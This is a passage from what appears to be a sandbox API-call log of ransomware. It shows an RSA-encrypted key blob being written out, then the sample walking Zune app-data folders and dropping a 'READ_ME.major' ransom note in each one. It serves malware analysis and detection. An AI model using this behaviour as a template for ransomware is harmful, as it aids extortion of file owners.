pszString="tWpvtYbaQ4xdHH5/jD0HruKA9k4toOZPfLgYXKdczCQCJwhk/4zdQcdDE6cNA8F8\nZHnXoaFrxNiBiSAHEH4v3YIAiz8qzgnrA5A8F3E+KXMF+nqjyCl2Btq4kjXpZ+56\nb9uK0w6sJZot/8VUDc985Dlo1/PtXaHy7uULycDC1yUYGE0VmUgJ9ylb9Sa5Ldru\nocu6tvJ1qju3P3QNd3CPzKyHq9IZZzEpi+Zs/5maYLcB4yNgq0rIocHLR9JoTp7c\nhFB5yCvTKhTeNqOlCazEAGc3HW8uh+nNTxadNhPBbvyI5PdOZzeraINDaEendfrv\ncJ4F7mmnRxQHW5BrAYkrUA==\n", pcchString=0x2e3f9a8) returned 1 [0205.776] WriteFile (in: hFile=0x1428, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.777] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.777] WriteFile (in: hFile=0x1428, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.777] CloseHandle (hObject=0x1428) returned 1 [0205.782] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9120e63a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9120e63a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f300d8 [0205.783] FindNextFileW (in: hFindFile=0x2f300d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9120e63a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9120e63a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.783] FindNextFileW (in: hFindFile=0x2f300d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3188396e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3188396e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.783] FindNextFileW (in: hFindFile=0x2f300d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3188396e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3188396e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666b60 [0205.783] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabdcd6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2592721, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30818 [0205.783] FindNextFileW (in: hFindFile=0x2f30818, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabdcd6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2592721, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.783] FindNextFileW (in: hFindFile=0x2f30818, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3188396e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3188396e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.783] FindNextFileW (in: hFindFile=0x2f30818, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3188396e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3188396e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.783] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f88d08 [0205.783] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf68824d4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a34c4f0, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f307d8 [0205.784] FindNextFileW (in: hFindFile=0x2f307d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf68824d4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a34c4f0, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.784] FindNextFileW (in: hFindFile=0x2f307d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf68a8755, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd26377f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf68a8755, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0205.784] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1434 [0205.785] WriteFile (in: hFile=0x1434, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.786] CloseHandle (hObject=0x1434) returned 1 [0205.787] FindNextFileW (in: hFindFile=0x2f307d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf68a8755, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd26389a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf68a8755, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0205.787] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1434 [0205.881] WriteFile (in: hFile=0x1434, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.882] CloseHandle (hObject=0x1434) returned 1 [0205.882] FindNextFileW (in: hFindFile=0x2f307d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf68a8755, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd26392d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf68a8755, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0205.883] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1434 [0205.883] WriteFile (in: hFile=0x1434, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.884] CloseHandle (hObject=0x1434) returned 1 [0205.884] FindNextFileW (in: hFindFile=0x2f307d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x318cf8ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318cf8ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.884] FindNextFileW (in: hFindFile=0x2f307d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf68a8755, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2639eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf68a8755, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0205.885] FindNextFileW (in: hFindFile=0x2f307d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf68a8755, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2639eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf68a8755, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0205.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667628 [0205.885] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf685c2d2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd263aaf4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30618 [0205.885] FindNextFileW (in: hFindFile=0x2f30618, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf685c2d2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd263aaf4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.885] FindNextFileW (in: hFindFile=0x2f30618, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318cf8ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318cf8ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.885] FindNextFileW (in: hFindFile=0x2f30618, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318cf8ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318cf8ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667798 [0205.885] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf67c392c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd263b30b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30318 [0205.885] FindNextFileW (in: hFindFile=0x2f30318, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf67c392c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd263b30b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.886] FindNextFileW (in: hFindFile=0x2f30318, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318cf8ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318cf8ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.886] FindNextFileW (in: hFindFile=0x2f30318, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318cf8ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318cf8ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667628 [0205.886] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf679d775, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd263bbc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30118 [0205.886] FindNextFileW (in: hFindFile=0x2f30118, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf679d775, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd263bbc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.886] FindNextFileW (in: hFindFile=0x2f30118, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318cf8ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318cf8ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.886] FindNextFileW (in: hFindFile=0x2f30118, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318cf8ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318cf8ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666710 [0205.886] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf679d775, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd263c636, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30218 [0205.886] FindNextFileW (in: hFindFile=0x2f30218, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf679d775, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd263c636, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.887] FindNextFileW (in: hFindFile=0x2f30218, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318cf8ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318cf8ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.887] FindNextFileW (in: hFindFile=0x2f30218, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318cf8ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318cf8ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.887] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667068 [0205.887] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf67c392c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713b1523, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30498 [0205.887] FindNextFileW (in: hFindFile=0x2f30498, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf67c392c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713b1523, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.887] FindNextFileW (in: hFindFile=0x2f30498, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318cf8ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x318cf8ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x318cf8ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.887] FindNextFileW (in: hFindFile=0x2f30498, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf685c2d2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf685c2d2, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xf685c2d2, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0205.887] FindNextFileW (in: hFindFile=0x2f30498, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf67c392c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x8efa262b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x11d3fb2a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0205.887] FindNextFileW (in: hFindFile=0x2f30498, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, 